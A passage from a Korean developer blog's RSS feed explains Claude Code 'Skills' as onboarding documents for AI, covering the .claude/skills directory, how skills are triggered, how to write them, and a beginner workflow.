&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  온보딩이 없는 조직 vs 있는 조직&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❌ 온보딩이 없는 경우&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;ldquo;코드 보고 알아서 파악하세요&amp;rdquo;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;같은 질문 반복 발생&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;생산성 올라가기까지 몇 주~몇 달&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ 온보딩이 잘 된 경우&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;하루 만에 개발 환경 구축&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;1~2일 내 간단한 기능 개발 가능&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;팀 규칙 자동 체득&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Claude Code와 온보딩의 연결&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;여기서 중요한 포인트  &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;Skills = AI를 위한 온보딩 문서&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;비교해보면&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;height: 65px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;height: 23px;&quot;&gt;
&lt;th style=&quot;height: 23px;&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;대상&lt;/span&gt;&lt;/th&gt;
&lt;th style=&quot;height: 23px;&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;온보딩 방식&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt; &amp;zwj;  사람 개발자&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;README, 위키, 문서&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Claude Code&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Skills&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;즉,&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;온보딩 문서 &amp;rarr; 사람을 교육
Skills &amp;rarr; AI를 교육&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  핵심 인사이트&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❗ 온보딩의 목적은 &amp;ldquo;지식 전달&amp;rdquo;이 아니라&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;&amp;ldquo;행동을 통일하는 것&amp;rdquo;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;그래서 좋은 온보딩은:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❌ 설명만 많지 않음&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ 실제로 &amp;ldquo;어떻게 행동해야 하는지&amp;rdquo; 알려줌&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  결론&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;온보딩은 &amp;ldquo;적응&amp;rdquo;이 아니라 &amp;ldquo;속도&amp;rdquo;를 만드는 시스템입니다&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;</description>
      <category>ClaudeCode/Claude Code 확장하기</category>
      <author>헬로우월드</author>
      <guid isPermaLink="true">https://sundaland.tistory.com/1119</guid>
      <comments>https://sundaland.tistory.com/1119#entry1119comment</comments>
      <pubDate>Thu, 9 Apr 2026 16:30:11 +0900</pubDate>
    </item>
    <item>
      <title>Skills</title>
      <link>https://sundaland.tistory.com/1118</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/ko/skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://code.claude.com/docs/ko/skills&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775722467989&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Claude를 skills로 확장하기 - Claude Code Docs&quot; data-og-description=&quot;Claude Code에서 skills를 생성, 관리, 공유하여 Claude의 기능을 확장합니다. 사용자 정의 명령어와 번들 skills를 포함합니다.&quot; data-og-host=&quot;code.claude.com&quot; data-og-source-url=&quot;https://code.claude.com/docs/ko/skills&quot; data-og-url=&quot;https://code.claude.com/docs/ko/skills&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/EhP8h/dJMb9aKF4id/SQxSPNcrcQ3ODyuGE3vukK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/bwwXXi/dJMb8ZvCp6C/k2u98acVeC7WFSykbGgTQK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/ko/skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://code.claude.com/docs/ko/skills&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/EhP8h/dJMb9aKF4id/SQxSPNcrcQ3ODyuGE3vukK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/bwwXXi/dJMb8ZvCp6C/k2u98acVeC7WFSykbGgTQK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Claude를 skills로 확장하기 - Claude Code Docs&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code에서 skills를 생성, 관리, 공유하여 Claude의 기능을 확장합니다. 사용자 정의 명령어와 번들 skills를 포함합니다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;code.claude.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Claude Code Skills&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;i&gt;&amp;mdash; &amp;ldquo;AI에게 일하는 방식을 가르친다&amp;rdquo;는 것의 진짜 의미&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Skills란 무엇인가?&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude Code에서의 &lt;b&gt;Skills&lt;/b&gt;는 단순한 함수나 기능이 아닙니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;&amp;ldquo;특정 작업을 수행할 때 Claude가 참고하는 작업 매뉴얼&amp;rdquo;&lt;/b&gt;입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;조금 더 본질적으로 말하면:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;&amp;ldquo;이 프로젝트에서 이 작업은 이렇게 해&amp;rdquo;를 정의한 맥락적 규칙 집합&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;즉, 소프트웨어 개발회사의 신입 개발자에게 주는 온보딩 문서를&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;AI에게 준다고 생각하시면 정확합니다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt; ️ Claude Code에서 Skills가 동작하는 방식&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude Code는 프로젝트를 열면 자동으로 다음 경로를 인식합니다:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;asciidoc&quot;&gt;&lt;code&gt;.claude/skills/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;그리고 작업 요청을 받으면:&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  요청 내용을 분석하고&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  관련된 스킬을 자동으로 매칭&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  해당 스킬을 참고해서 코드 생성&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;⚙️ 실제 동작 예시&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;개발자: &quot;주문 취소 API endpoint 추가해줘&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude Code 내부에서는 이렇게 흘러갑니다:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;erlang&quot;&gt;&lt;code&gt;&quot;endpoint 추가&quot;
  &amp;rarr; rtk-query-api 스킬 트리거

&quot;주문&quot;
  &amp;rarr; mock-architecture 스킬 트리거

&amp;rarr; 두 스킬을 조합해서 코드 생성&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ 핵심 포인트:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❗ 개발자는 &amp;ldquo;스킬 적용해줘&amp;rdquo;라고 말할 필요가 없습니다&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  그냥 평소처럼 작업 지시만 하면 됩니다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  기본 디렉토리 구조&lt;/span&gt;&lt;/h4&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;your-project/
├── .claude/
│   └── skills/
│       ├── 01-dev-standards.skill
│       ├── 02-auth-security.skill
│       ├── 03-rtk-query-api.skill
│       ├── 04-mock-architecture.skill
│       ├── 05-styling.skill
│       ├── 06-app-structure.skill
│       └── 07-auto-doc-sync.skill
├── src/
├── docs/
└── ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;code&gt;.claude/&lt;/code&gt; 폴더는&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Claude 관련 설정을 모아두는 &lt;b&gt;사실상의 표준 위치&lt;/b&gt;입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt; ️ Skills 작성 흐름 (실전 프로세스)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;1️⃣ 반복 작업을 발견한다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&quot;이거 계속 반복하는데?&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;2️⃣ SKILL.md 작성&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;해당 작업의 규칙, 예제, 방식 정리&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;3️⃣ Claude Code에서 사용&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;실제로 돌려보며 개선&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  가장 많이 쓰는 방식 (현실적인 패턴)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &amp;ldquo;작업하다가 스킬로 굳히기&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;작업 중 &amp;rarr;
&quot;이 패턴 계속 쓰겠는데?&quot; &amp;rarr;
&quot;이걸 스킬로 만들어줘&quot; &amp;rarr;
Claude가 기존 작업 기반으로 SKILL.md 생성&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  이 방식이 가장 자연스럽고 효율적입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;⚠️ 현실적인 주의사항 (중요)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;1. 스킬 트리거는 &amp;ldquo;description 품질&amp;rdquo;에 달려있다&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❌ 너무 추상적이면 &amp;rarr; 트리거 안 됨&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❌ 너무 넓으면 &amp;rarr; 과도하게 트리거됨&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  반드시 테스트 필요&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;2. 트리거가 안 되면 이렇게 해결&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;&quot;auth-security 스킬 참고해서 OAuth2 콜백 구현해줘&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  스킬 이름을 직접 언급하면 100% 트리거됩니다&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;3. 결국 사람의 역할은 남는다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude가 초안을 잘 만들어주지만:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 스킬 분리 단위 설계&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 트리거 문구 튜닝&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✔ 예제의 현실 적합성 검증&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  이건 반드시 사람이 판단해야 합니다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  초보자를 위한 가장 현실적인 접근법&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;처음부터 스킬을 잘게 나누려 하면 거의 실패합니다  &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;대신 이 흐름을 추천드립니다:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ Step 1. CLAUDE.md 작성&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  그냥 README 쓰듯이&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;프로젝트 규칙&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;코딩 스타일&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;아키텍처&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;API 패턴&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;완벽하게 쓸 필요 없음 &amp;rarr; 생각 dump&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ Step 2. Claude에게 스킬 생성 요청&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;&quot;이 CLAUDE.md 기반으로 스킬 만들어줘&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Claude가 자동으로:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;스킬 분리&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;구조 설계&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;예제 생성&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ Step 3. CLAUDE.md 슬림화&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  스킬로 분리되면서 자연스럽게 정리됨&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ Step 4. 실제 사용하면서 개선&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  여기서 진짜 품질이 올라갑니다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  핵심 인사이트&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❗ Skills의 본질&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❌ 기능(Function)이 아니다&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ &lt;b&gt;&amp;ldquo;작업 방식(How to work)&amp;rdquo;을 정의하는 것&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❗ 좋은 스킬의 특징&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  트리거가 명확하다&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  예제가 현실적이다&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  재사용성이 높다&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;⚖️ 범위가 적절하다 (너무 크지도 작지도 않음)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❗ 가장 중요한 한 줄&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;&amp;ldquo;Claude를 잘 쓰는 방법 = Claude에게 일을 잘 가르치는 것&amp;rdquo;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  마무리&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude Code의 Skills는 단순한 자동화 도구가 아닙니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;AI와 협업하는 방식 자체를 설계하는 레이어&lt;/b&gt;입니다.&lt;/span&gt;&lt;/p&gt;
